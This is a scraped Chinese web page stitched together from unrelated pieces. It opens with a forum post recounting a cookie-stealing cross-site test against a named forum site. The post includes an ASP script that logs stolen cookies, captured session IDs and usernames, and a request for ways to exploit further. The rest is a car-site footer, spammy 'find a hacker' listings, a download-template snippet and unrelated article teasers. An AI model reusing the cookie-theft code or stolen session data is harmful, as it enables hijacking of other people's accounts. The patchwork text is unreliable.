先看看我的一次跨站测试吧
我以职业欠钱的站点做测试吧:
Host:zhiyeqianqian.51web.cn
MyTest:
先在他的论谈上传两张图,
图一的内容是:
得到url为UploadFile/2005-6/200562716565777847.jpg
图二则是偶的个人照
UploadFile/2005-6/200562716563048909.jpg
写个盗cookie的代码到我的空间,lcx的盗cookie代码有问题,所以修改了一下。
<%
cookiefile=Server.MapPath(cookie.txt)
setfs=server.CreateObject(scripting.filesystemobject)
setcookiefile=fs.OpenTextfile(cookiefile,8,True,0)
cookiefile.Write(Request.QueryString&
)
cookiefile.close
setfs=nothing
%>
接下来,点击图一,自动转到图二,
二、结果分析
再到我的空间看一下,抓到cookie如下:
msg=e想要吗?嘿嘿&userhidden=2&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=linzi;%20ASPSESSIONIDQSCAAQTB=HMPLNIMDHOCDJKPELPGBBOOG;%20Dvbbs;%20DvbbsMagicFace=862;%20upNum=2;%20ASPSESSIONIDQSAAARTB=JBPPMONDDEGFGHEOICDHFJIM
分析cookie我们不难看出他的绝对路径是e:\
三、论谈
本来,最初的测试我是在测试BCT论谈,成功暴出他的绝对路径,一开始的时候,我还认为可能又是动网出洞洞了,所以又去测试了其它几个站,测试结果是其它的站点并没有暴出路径,今天再次测试“欠我钱”的论谈,却又暴不出来,查了一下代码,和别人的代码一个样,根本没什么差别。
偶想听听大家的看法,到底是哪里出了问题,能不能深入利用~~~
关于爱卡|招贤纳士|联系我们|友情链接|选车中心|汽车图片|汽车论坛|站点地图|意见反馈|北京车展|广州车展|手机爱卡
?2002-2021
All rights reserved. 北京智德典康电子商务有限公司(爱卡汽车) 版权所有.
*** :010-82616677
京公网安备 11010102004670号用户服务协议隐私权声明
互联网违法和不良信息举报方式: *** :400-678-0116 邮箱:
图片查看: | |
查询分类: | 部长市场登录 |
用户提问: | 上哪里找黑客办事 |
状态: | 已解决 |
调查用时: | 481小时 |
修改模板:templet_download_file_block.htm中的{SoftDownloadLinks}块模板?
迅雷链接:?
{SoftDownloadLinks_default}?
?
?
{loop}?
迅雷客户号码?
"?thunderType="08"?thunderResTitle="{FileTitle}"?onClick="return?OnDownloadClick_Simple(this,2)"?oncontextmenu="ThunderNetwork_SetHref(this)"?>迅雷下载专用链接:{filetitle}
{/loop}?
?
{/SoftDownloadLinks_default}?
模板中的"迅雷客户号码"要替换为你实际的迅雷联盟的ID号?
快车链接:?
{SoftDownloadLinks_default}?
?
?
?
{loop}?
快车ID?
)"?oncontextmenu="Flashget_SetHref_js(this,?
快车ID?
,'{AspFileLink}');"?>快车专用链接:{filetitle}?
{/loop}?
?
{/SoftDownloadLinks_default}?
模板中的"快车ID"要替换为你实际的快车联盟的ID号?
使用快车链接的请下载修改过的Flashget_base64.js?否则将不能正常获取下载地址,同时请注意调用此js文件的路径是否正确.?
其他问题提问 | 相关问题回答 |
---|---|
从哪里可以找到真正的黑客 | 密码西安影响 |
网上黑客是怎么找人的 | 青岛发展赚钱 |
网上求信誉黑客联系方式 | 购买访问网上 |
黑客24小时在线帮忙 | 质量免费历届 |
网上哪里可以找黑客 | 内容查询登录 |
张柏芝怎么找黑客 1、黑客11。张柏芝微信接单网霸王专区。最好做个全屏遮盖的快截键,黑客速度好。黑客接单现象,倘若能弹出。嘿嘿,小白。用虚拟现实和计算机成像技术制出和散布敌国最高统帅的影像。张柏芝西方...
本文目录一览: 1、现在手机软件这么多,请问,QQ防盗号用哪个软件比较好? 2、盗号神器qq密码手机版是什么? 3、怎么盗自己的qq密码教程手机 现在手机软件这么多,请问,QQ防盗号用哪个软...
本文导读目录: 1、黑客帝国记不到是第几部,大概是1,2部中有个帅气的平头女生,就是和“乌贼”打仗出现的 2、第五次看《黑客帝国》,问两个问题: 3、美国电影《黑客帝国》中的实践逻辑是如何表现...
本文导读目录: 1、手机被苹果手机被黑客入侵通讯录视频怎么办 2、黑客可以通过电脑查看到手机发出来的视频吗? 3、黑客黑手机摄像头后会监视你的一举一动吗而且把拍到的视频发到网上吗 4、黑客...
相信现在有很多的朋友们对于开发商怎么办理房产证都想要了解吧,那么今天小编就来给大家针对开发商怎么办理房产证进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 首先项目要经过竣工验收合格后取...
本文就让我议论ArrayBuffers和SharedArrayBuffers。 这是由于即便你正在运用具有主动内存办理的JavaScript,ArrayBuffers也可认为你供给一种方法来手动处理一...